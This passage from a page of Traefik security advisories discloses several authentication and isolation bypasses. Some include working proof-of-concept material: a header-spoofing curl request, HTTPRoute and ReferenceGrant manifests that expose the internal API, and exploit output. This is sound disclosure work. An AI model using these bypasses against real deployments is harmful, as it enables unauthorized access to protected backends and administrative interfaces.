1. Gateway listener with allowedRoutes.namespaces.from: All. 2. Victim HTTPRoute route-a in namespace default targets default/whoami:80 with backendRef filter setting X-Tenant: tenant-a. 3. Attacker-controlled HTTPRoute route-b in namespace attacker targets default/whoami:80 (via ReferenceGrant) with backendRef filter setting X-Tenant: tenant-b. 4. Both routes generate the same child service key: default-whoami-http-80. 5. The second route's filter configuration overwrites the first (or vice versa) via maps.Copy. 6. Backend receives both routes' requests with one tenant's header context.

Proof of Concept

A Go test harness injects provider-level and server-level tests into the Traefik checkout. The provider test confirms the generated dynamic configuration collision. The server test builds Traefik's runtime router/service/middleware pipeline and sends httptest requests through router matching, WRR service dispatch, service-level backendRef middleware, and backend proxy capture.

Observed result:

json { "name": "positivecrossnamespacesamebackendfiltercollision", "pass": true, "expected": {"route-a": "tenant-a", "route-b": "tenant-b"}, "observed": {"route-a": "tenant-a", "route-b": "tenant-a"}, "runtimeObserved": {"route-a": "tenant-a", "route-b": "tenant-a"}, "childServices": {"route-a": "default-whoami-http-80", "route-b": "default-whoami-http-80"} }

Negative controls confirmed:

- Separate backend Service:port keys produce correct per-route filter isolation. - Identical filters across routes produce no security-relevant difference.

The PoC files can be shared upon request.

Impact

An actor who can create or modify an accepted HTTPRoute can cause another accepted route that targets the same backend Service:port to use the wrong backendRef filter context. In cross-namespace Gateway deployments, this can cross namespace boundaries.

High-value impact: gateway-injected tenant, identity, auth, role, header sanitization, Host rewrite, or path rewrite context is trusted by the backend. Lower-value impact: the overwritten header is informational or observability-only.

Suggested Remediation

1. Include route/listener/rule/backendRef filter identity in the generated child service name when backendRef filters are present. 2. Split the load-balancer service from the backendRef filter application so per-route backend filters remain route-scoped. 3. Detect conflicting backendRef filters for the same generated service key and reject or disambiguate the configuration.

Timeline

text 2026-06-04: Discovered and reproduced with local test harness.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a medium severity vulnerability in Traefik's ForwardAuth middleware. Even when configured with trustForwardHeader: false, Traefik derives the X-Forwarded-Port header sent to the authentication service from the original incoming request instead of the sanitized forwarded request. As a result, an unauthenticated remote attacker can inject an X-Forwarded-Proto: https header over a plain HTTP connection and cause Traefik to forward X-Forwarded-Port: 443 to the auth service, bypassing port-based authorization checks. This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54, which addressed the X-Forwarded-Proto and X-Forwarded-Prefix spoofing vectors but missed the X-Forwarded-Port vector.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

The ForwardAuth middleware, even when configured with trustForwardHeader: false, still derives the X-Forwarded-Port header sent to the authentication service by reading the attacker-controlled X-Forwarded-Proto header from the original incoming request. This allows an unauthenticated remote attacker to cause Traefik to forward X-Forwarded-Port: 443 to the auth service on a plain HTTP connection, creating an inconsistency that can bypass port-based authorization checks.

### Details

The fix introduced in commit 5e1de2258 (released as part of the April 2026 security advisory GHSA-6384-m2mw-rf54) correctly strips all X-Forwarded- headers from the forwarded auth request when trustForwardHeader=false, and reconstructs X-Forwarded-Proto from the actual TLS state of the connection (req.TLS).

However, the reconstruction of X-Forwarded-Port is delegated to the helper forwardedPort(req) which receives the original request (req) rather than the sanitized forward request (forwardReq):

go // pkg/middlewares/auth/forward.go – writeHeader() if !trustForwardHeader { forwardedheaders.DeleteXForwardedHeaders(forwardReq.Header) // strips all X-Fwd- from forwardReq } // ... if , ok := forwardReq.Header[forwardedheaders.XForwardedPort]; !ok { forwardReq.Header.Set(forwardedheaders.XForwardedPort, forwardedPort(req)) // ← req = ORIGINAL }

// pkg/middlewares/auth/forward.go – forwardedPort() func forwardedPort(req http.Request) string { if , port, err := net.SplitHostPort(req.Host); err == nil && port != "" { return port } // Reads attacker-controlled header on the ORIGINAL request: if req.Header.Get(forwardedheaders.XForwardedProto) == "https" || ... { return "443" } if req.TLS != nil { return "443" } return "80" }

Result when trustForwardHeader=false and attacker sends X-Forwarded-Proto: https on a plain HTTP connection:

┌──────────────────────────────────┬──────────┬────────┐ │ Header forwarded to auth service │ Expected │ Actual │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Proto │ http │ http ✓ │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Port │ 80 │ 443 ✗ │ └──────────────────────────────────┴──────────┴────────┘ The inconsistency between Proto=http and Port=443 is exploitable against any authentication service that gates access based on X-Forwarded-Port.

### PoC

Traefik configuration:

http: middlewares: my-auth: forwardAuth: address: "http://auth-service/" trustForwardHeader: false # security setting, but still bypassable routers: api: rule: "PathPrefix(/api)" middlewares: - my-auth service: backend

Auth service logic (example victim): # auth-service checks: only port 443 requests are considered "secure" port = request.headers.get("X-Forwarded-Port", "80") proto = request.headers.get("X-Forwarded-Proto", "http") if port == "443": return 200 # grant access return 403 Attack:

Plain HTTP connection, no TLS – but spoofs port 443 curl -H "X-Forwarded-Proto: https" http://traefik.example.com/api/admin Auth service receives X-Forwarded-Port: 443 → grants access

Verification: Enable Traefik debug logging and observe X-Forwarded-Port: 443 in the auth request while the connection is plain HTTP.

### Impact

Any deployment using the ForwardAuth middleware with trustForwardHeader: false where the downstream authentication service uses X-Forwarded-Port to make authorization decisions is vulnerable to privilege escalation. An unauthenticated attacker can bypass port-based security checks (e.g., "only allow requests arriving on HTTPS port 443") by injecting a single X-Forwarded-Proto: https header on a plain HTTP connection.

This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54: while the X-Forwarded-Prefix and X-Forwarded-Proto spoofing vectors were addressed, the X-Forwarded-Port vector was missed.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7

Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.48, 3.6.19, and 3.7.3, there is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router. This vulnerability is fixed in 2.11.48, 3.6.19, and 3.7.3.

First published (updated )
Severity
7

Traefik is an HTTP reverse proxy and load balancer. From 3.7.0 until 3.7.3, there is a high severity vulnerability in Traefik's domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3. This vulnerability is fixed in 3.7.3.

First published (updated )
Severity
7

Traefik is an HTTP reverse proxy and load balancer. Prior to 3.7.3, there is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., .example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker. This vulnerability is fixed in 3.7.3.

First published (updated )
Severity
7

Traefik before 2.10.5 and 3.0.0-beta4 is affected by a denial-of-service vulnerability in HTTP/2 request handling inherited from the Go standard library's HTTP/2 implementation (CVE-2023-44487 / CVE-2023-39325, the 'Rapid Reset' technique). A remote attacker can rapidly create and cancel HTTP/2 streams to exhaust server resources and cause service unavailability.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Traefik before 2.10.5 and 3.0.0-beta4 is affected by a denial-of-service vulnerability in HTTP/2 request handling inherited from the Go standard library's HTTP/2 implementation (CVE-2023-44487 / CVE-2023-39325, the 'Rapid Reset' technique). A remote attacker can rapidly create and cancel HTTP/2 streams to exhaust server resources and cause service unavailability.

First published (updated )
Severity
5.9
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a medium severity vulnerability in Traefik's Kubernetes Ingress NGINX provider that causes affected routes to fail open. When an Ingress explicitly enables BasicAuth or DigestAuth through the supported nginx.ingress.kubernetes.io/auth-type and auth-secret annotations, but the referenced auth Secret cannot be resolved or parsed, Traefik logs the resolution error, skips installing the authentication middleware, and still emits a router to the backend service. A route that operators intended to protect is therefore published to the data plane without its authentication control, allowing unauthenticated access to the backend. The trigger is an invalid or unresolved auth dependency — a missing, malformed, unreadable, or policy-denied Secret — rather than an intentionally unprotected route.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.7.5

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's Kubernetes Ingress NGINX provider can fail open for routes that explicitly configure BasicAuth or DigestAuth through supported ingress-nginx annotations.

When an Ingress contains nginx.ingress.kubernetes.io/auth-type: basic or digest, but the referenced nginx.ingress.kubernetes.io/auth-secret cannot be resolved or parsed, Traefik logs the auth resolution error, skips installing the BasicAuth/DigestAuth middleware, and still emits a router to the backend service.

This can expose a route that operators intended to protect. The issue is not that an invalid Secret exists; the issue is that an explicitly auth-protected Ingress location is translated into a live backend route where the authentication control is removed from the generated data-plane configuration, with only a controller log entry, instead of failing closed.

Tested affected versions:

- Current master: 29406d42898547f1ffabd904f66af06c212740cf - Latest tag tested by me: v3.7.1 / fa49e2bcad7ffd8a80accdf1fae1ae480913d93d

The KubernetesIngressNGINX provider is documented as no longer experimental as of v3.6.2, and the auth-type, auth-secret, auth-secret-type, and auth-realm annotations are documented supported annotations.

Details

The root cause is in pkg/provider/kubernetes/ingress-nginx/build.go. During provider translation, auth is pre-resolved for each location:

go if ing.config.AuthType != nil { basic, digest, err := p.resolveBasicAuth(ing.Namespace, ing.config) if err != nil { logger.Error(). Err(err). Str("ingress", fmt.Sprintf("%s/%s rule-%d path-%d", ing.Namespace, ing.Name, ri, pi)). Msg("Cannot resolve auth secret, skipping auth middleware") } else { loc.BasicAuth = basic loc.DigestAuth = digest } }

The error is logged, but loc.Error is not set. Later, pkg/provider/kubernetes/ingress-nginx/translator.go only routes to unavailable-service when loc.Error is true. Since this auth error leaves loc.Error false, the generated router continues to use the real backend service, and applyMiddlewares has no BasicAuth/DigestAuth middleware to attach.

This differs from nearby fail-closed behavior for comparable provider translation failures:

- auth-tls-secret resolution failure skips the affected ingress. - custom-headers ConfigMap resolution failure sets loc.Error = true, causing the translator to avoid normal backend exposure.

Security invariant:

If an Ingress location explicitly configures BasicAuth/DigestAuth, Traefik should not forward that location to the backend unless the corresponding auth middleware is installed.

Reasonable fail-closed behaviors would include omitting the router, routing it to unavailable-service, returning 503, or attaching a deny-all middleware until the auth dependency is valid.

Expected behavior

An Ingress location with explicit auth-type: basic or auth-type: digest must not forward requests to the backend unless the generated Traefik router has the corresponding BasicAuth/DigestAuth middleware attached.

If the referenced auth Secret is missing, malformed, unreadable, denied by namespace policy, or otherwise unusable, Traefik should fail closed for that location.

Actual behavior

When auth-secret resolution fails, Traefik still creates a router to the backend service and only omits the BasicAuth/DigestAuth middleware. The only indication is a controller log entry:

text Cannot resolve auth secret, skipping auth middleware

PoC

I reproduced this with a clean fake Kubernetes provider state. The reproduction does not use Docker provider labels, dashboard/API routing, lab backends, or public network targets.

Minimal Kubernetes objects:

- IngressClass named nginx with controller k8s.io/ingress-nginx - Service named whoami in namespace default - EndpointSlice for the whoami service - Ingress with ingressClassName: nginx, a backend pointing to whoami, and these annotations:

yaml nginx.ingress.kubernetes.io/auth-type: "basic" nginx.ingress.kubernetes.io/auth-secret-type: "auth-file" nginx.ingress.kubernetes.io/auth-secret: "default/missing-basic-auth"

The referenced Secret intentionally does not exist. The expected secure behavior is fail-closed for this auth-configured route. The observed behavior is a normal router to the backend without BasicAuth/DigestAuth.

Key failing assertion from the regression harness:

text router forwards to backend service without BasicAuth/DigestAuth when auth-secret is missing; middlewares=[default-auth-missing-secret-rule-0-path-0-retry] service="default-auth-missing-secret-whoami-80"

The same behavior reproduces on both current master and v3.7.1.

I also tested a matrix of auth-secret resolution failures. In each error case, Traefik still emitted the backend router without BasicAuth/DigestAuth:

- missing auth-secret - omitted/empty auth-secret - invalid auth-secret-type - auth-file Secret missing the required auth key - empty auth-map Secret - missing DigestAuth Secret - cross-namespace auth-secret denied by default policy

The same matrix includes a positive control where a valid auth-file Secret correctly attaches BasicAuth, confirming that the harness is exercising the intended provider path.

I also performed a clean-room revalidation from fresh git archive source trees for both source/master and v3.7.1. Only the two minimal test harnesses were copied into each archived source tree. This avoided contamination from lab compose files, Docker provider state, dashboard/API routes, prior source-tree test files, or running lab backends.

Threat model

This does not require an attacker to modify Traefik static configuration or Traefik process state. The relevant security boundary is the Kubernetes-declared route policy: an Ingress explicitly declares BasicAuth/DigestAuth, but Traefik publishes the data-plane route without that control when the auth dependency is invalid.

In multi-tenant or GitOps-managed clusters, the actor or automation that can affect Secret existence, Secret contents, namespace policy, or deployment ordering is not necessarily the same actor that owns the protected backend or Traefik deployment. As a result, a mistake, rollback, pruning job, policy change, or compromise limited to Kubernetes application resources can remove the effective auth boundary while the Ingress continues to declare that auth is required.

Impact

This is a fail-open authentication control issue leading to unintended unauthenticated route exposure.

The trigger is an invalid or unresolved auth dependency, but the security consequence is a data-plane route that violates explicit auth intent. This is materially different from intentionally deploying an unprotected route: the Ingress declares auth-type: basic or digest, yet Traefik publishes the backend without the corresponding auth middleware.

Realistic scenarios include:

- GitOps, Helm, or CI/CD deploys Ingress and Secret resources separately. Ordering issues, rollbacks, pruning, or typos can leave the Ingress active while the auth Secret is absent or unreadable. - Kubernetes RBAC commonly separates ownership of Ingress objects, Secrets, and namespace policies. A lower-privileged namespace actor or deployment automation may be able to affect the referenced Secret or cross-namespace reference outcome without having direct access to Traefik static configuration. - During ingress-nginx migration, operators reasonably expect supported nginx.ingress.kubernetes.io/auth- annotations to preserve the authentication boundary. Publishing the backend without auth is a worse failure mode than rejecting the invalid location. - A transient Secret deletion, malformed Secret update, or policy change can turn an already protected route into an unprotected route without changing the Ingress rule itself.

Controller logs are not a sufficient mitigation. Logs do not prevent exposure, may not page the service owner, and the first externally visible symptom can be unauthenticated access to the protected backend.

Suggested remediation

Fail closed on any resolveBasicAuth error. A minimal tested change is to mark the location as errored:

diff if err != nil { logger.Error(). Err(err). Str("ingress", fmt.Sprintf("%s/%s rule-%d path-%d", ing.Namespace, ing.Name, ri, pi)). Msg("Cannot resolve auth secret, skipping auth middleware") + loc.Error = true } else {

This reuses the existing loc.Error / unavailable-service path. In my local validation, this change made the no-backend-without-auth regression pass while preserving the valid-secret positive control.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
6
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the crossProviderNamespaces allowlist. For HTTPRoute rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target backendRef.namespace instead of the route's own namespace. As a result, an HTTPRoute created in a namespace that is not allow-listed can reference a cross-provider TraefikService such as api@internal, dashboard@internal or rest@internal by pointing backendRef.namespace at an allow-listed namespace covered by a Gateway API ReferenceGrant, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted HTTPRoute and a matching ReferenceGrant from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.6.21 - https://github.com/traefik/traefik/releases/tag/v3.7.5

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

The Kubernetes Gateway provider's crossProviderNamespaces option is documented as restricting which Gateway API route namespaces may declare TraefikService backendRefs.

For HTTPRoute rules with multiple backendRefs, Traefik checks this allowlist against backendRef.namespace instead of the HTTPRoute namespace. A route in a namespace that is not allow-listed can therefore add api@internal to the generated WRR service by setting backendRef.namespace to an allow-listed namespace, as long as a normal Gateway API ReferenceGrant permits that cross-namespace reference.

Verified affected versions:

- v3.7.1 (fa49e2bcad7ffd8a80accdf1fae1ae480913d93d) - current source/master tested by me (29406d42898547f1ffabd904f66af06c212740cf)

Expected Behavior

With:

yaml providers: kubernetesGateway: crossProviderNamespaces: - trusted

only Gateway API routes whose own namespace is trusted should be allowed to declare TraefikService backendRefs such as api@internal, dashboard@internal, or rest@internal.

An HTTPRoute in namespace attacker should not be able to expose an internal Traefik service by setting:

yaml backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted

Actual Behavior

For an HTTPRoute in namespace attacker with two backendRefs, Traefik generates a WRR service containing:

text [api@internal attacker-whoami-http-80]

even though crossProviderNamespaces only allows trusted.

Threat Model

This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's crossProviderNamespaces policy: namespaces outside the allowlist should not be able to declare cross-provider TraefikService backendRefs.

The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create HTTPRoute objects accepted by a Gateway, and a namespace in the crossProviderNamespaces allowlist has a matching ReferenceGrant. ReferenceGrant should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.

A Gateway API ReferenceGrant should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's crossProviderNamespaces option is an additional Traefik-specific security control for cross-provider TraefikService backendRefs, especially @internal services. Therefore a ReferenceGrant from trusted must not make a route in attacker equivalent to a route whose own namespace is trusted.

Required Attacker Capability

Required:

- create or modify an HTTPRoute in namespace attacker; - have that HTTPRoute accepted by a Gateway; - rely on an existing ReferenceGrant from an allow-listed namespace, or on a delegated namespace setup where such ReferenceGrant objects are managed separately from Traefik's provider configuration.

Not required:

- modifying Traefik static configuration; - modifying the Traefik deployment or Traefik RBAC; - modifying resources in the Traefik deployment namespace; - modifying providers.kubernetesGateway.crossProviderNamespaces; - enabling api.insecure; - exposing the dashboard/API entrypoint directly.

Documentation Evidence

The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in backendRef.namespace.

The Kubernetes Gateway provider option is documented as:

text List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.

The migration notes also describe the security reason for the option:

text those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.

and the documented behavior is:

text ["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.

The provider struct uses the same route-namespace wording:

go CrossProviderNamespaces []string description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...

The reproduced route kind is HTTPRoute; no Gateway API experimental-channel resources are required for the PoC.

PoC

I validated the issue end-to-end in a local kind cluster with Traefik v3.7.1, real Gateway API CRDs, real Kubernetes Gateway, HTTPRoute, and ReferenceGrant resources, and HTTP requests to Traefik's normal web entrypoint.

The complete local reproducer I used is a self-contained kind PoC with these files:

text external-repro-kind/kind-config.yaml external-repro-kind/traefik-v371.yaml external-repro-kind/gateway-exploit.yaml external-repro-kind/run-kind-repro.sh

Run command:

bash ./external-repro-kind/run-kind-repro.sh

The script creates a local kind cluster, loads local traefik:v3.7.1 and traefik/whoami:v1.11.0 images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit curl requests to 127.0.0.1:18080, prints route status, and deletes the cluster on exit.

Traefik was started with:

text --api=true --api.dashboard=true --api.insecure=false --providers.kubernetesgateway=true --providers.kubernetesgateway.crossprovidernamespaces=trusted

The local host entrypoint was:

text 127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint

The target namespace has a normal Gateway API ReferenceGrant:

yaml apiVersion: gateway.networking.k8s.io/v1beta1 kind: ReferenceGrant metadata: name: allow-attacker-to-traefikservice namespace: trusted spec: from: - group: gateway.networking.k8s.io kind: HTTPRoute namespace: attacker to: - group: traefik.io kind: TraefikService

Positive control:

yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: single-backend-control namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - control.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1

Bypass:

yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: mixed-backend-bypass namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - exploit.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1000000 - group: "" kind: Service name: whoami port: 80 weight: 1

Observed external result:

text control: single-backend route from attacker namespace should not expose api@internal control status: 404 404 page not found

exploit: mixed backendRef route from attacker namespace exposes api@internal exploit returned Traefik API JSON api@internal status: enabled weighted members: api@internal 1000000 attacker-whoami-http-80 1

The HTTPRoute status shows the boundary difference:

text single-backend-control: Accepted=True ResolvedRefs=False Reason=RefNotPermitted Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces

mixed-backend-bypass: Accepted=True ResolvedRefs=True

This is the externally visible security failure: the same route namespace and same api@internal backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.

Minimized Root Cause Test

I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external kind PoC above is the primary impact reproduction.

Files:

- probe/crossprovidernamespaceprobetest.go - probe/crossprovidernamespaceprobe.yml - probe/crossprovidernamespacesinglecontrol.yml

Reproduction:

bash cp probe/crossprovidernamespaceprobetest.go pkg/provider/kubernetes/gateway/ cp probe/crossprovidernamespaceprobe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/ go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v

Observed output on both tested versions:

text Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]

The reproducer also includes a positive control:

text === RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl --- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl

That control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.

Root Cause

The single-internal-service path checks the route namespace:

go case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef): if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {

The mixed/multiple backendRef path calls loadService. In loadService, namespace is overwritten from backendRef.Namespace, then passed to loadHTTPBackendRef:

go namespace := route.Namespace if backendRef.Namespace != nil && backendRef.Namespace != "" { namespace = string(backendRef.Namespace) } ... name, service, err := p.loadHTTPBackendRef(namespace, backendRef)

loadHTTPBackendRef then checks crossProviderNamespaces against this target namespace:

go if backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") { if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {

This lets a disallowed route namespace choose an allow-listed target namespace and pass the check.

Impact

An untrusted route namespace may expose internal Traefik services through Gateway HTTPRoute despite being excluded from crossProviderNamespaces.

Potentially exposed internal services include:

- api@internal - dashboard@internal - rest@internal

This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway ReferenceGrant delegation is used, but the observed behavior violates the documented security boundary of crossProviderNamespaces.

I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:

text Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found

When a router on the normal web entrypoint references api@internal, the same API endpoint becomes unauthenticated:

text Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK service: api@internal

A WRR service containing api@internal also exposes the API:

text Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK weighted services: api@internal 1000 echo-svc 1

This is the security consequence of the provider bug: a namespace that should be blocked by crossProviderNamespaces can make Traefik generate a service graph containing api@internal on a route it controls.

Suggested Fix

For Gateway HTTPRoute TraefikService cross-provider backendRefs, validate crossProviderNamespaces against route.Namespace in all code paths, including mixed/WRR backendRefs.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., .example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's HTTP/3 TLS configuration selection can ignore router-specific TLSOptions and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with Router.GetTLSGetClientInfo(), which performs a direct, case-sensitive map lookup on hostHTTPTLSConfig[info.ServerName].

This is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive Host rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:

1. Host(".example.com") with tls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one. 2. Host("api.example.com") with tls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as API.EXAMPLE.COM reaches the protected backend without one.

Confirmed versions:

- wildcard HTTP/3 bypass: v3.7.0, v3.7.1 - exact-host mixed-case HTTP/3 bypass: v3.6.17, v3.7.0, v3.7.1

Details

HTTP/3 installs a QUIC TLS callback in pkg/server/serverentrypointtcphttp3.go:

go h3.Server = &http3.Server{ Addr: config.GetAddress(), Port: config.HTTP3.AdvertisedPort, Handler: httpsServer.Server.(http.Server).Handler, TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient}, }

The callback is wired to the TCP router's TLS selector:

go func (e http3server) Switch(rt tcprouter.Router) { e.lock.Lock() defer e.lock.Unlock()

e.getter = rt.GetTLSGetClientInfo() }

The selector in pkg/server/router/tcp/router.go only performs an exact map lookup:

go func (r Router) GetTLSGetClientInfo() func(info tls.ClientHelloInfo) (tls.Config, error) { return func(info tls.ClientHelloInfo) (tls.Config, error) { if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok { return tlsConfig, nil }

return r.httpsTLSConfig, nil } }

That creates two mismatches:

- wildcard keys such as .example.com are never matched for api.example.com - lower-case router keys such as api.example.com are not matched for mixed-case SNI such as API.EXAMPLE.COM

On the later HTTP request path, the same host can still match wildcard or case-insensitive Host rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.

Preconditions:

- HTTP/3 is enabled on the affected entrypoint. - A router-specific TLSOptions configuration enforces client certificate authentication. - The default/fallback TLS configuration does not require client certificates. - UDP access to the HTTP/3 entrypoint is reachable by the attacker.

Minimal wildcard dynamic configuration:

yaml http: routers: protected: rule: Host(.example.com) service: protected tls: options: mtls

services: protected: loadBalancer: servers: - url: http://protected:80

tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key

options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert

Minimal exact-host dynamic configuration:

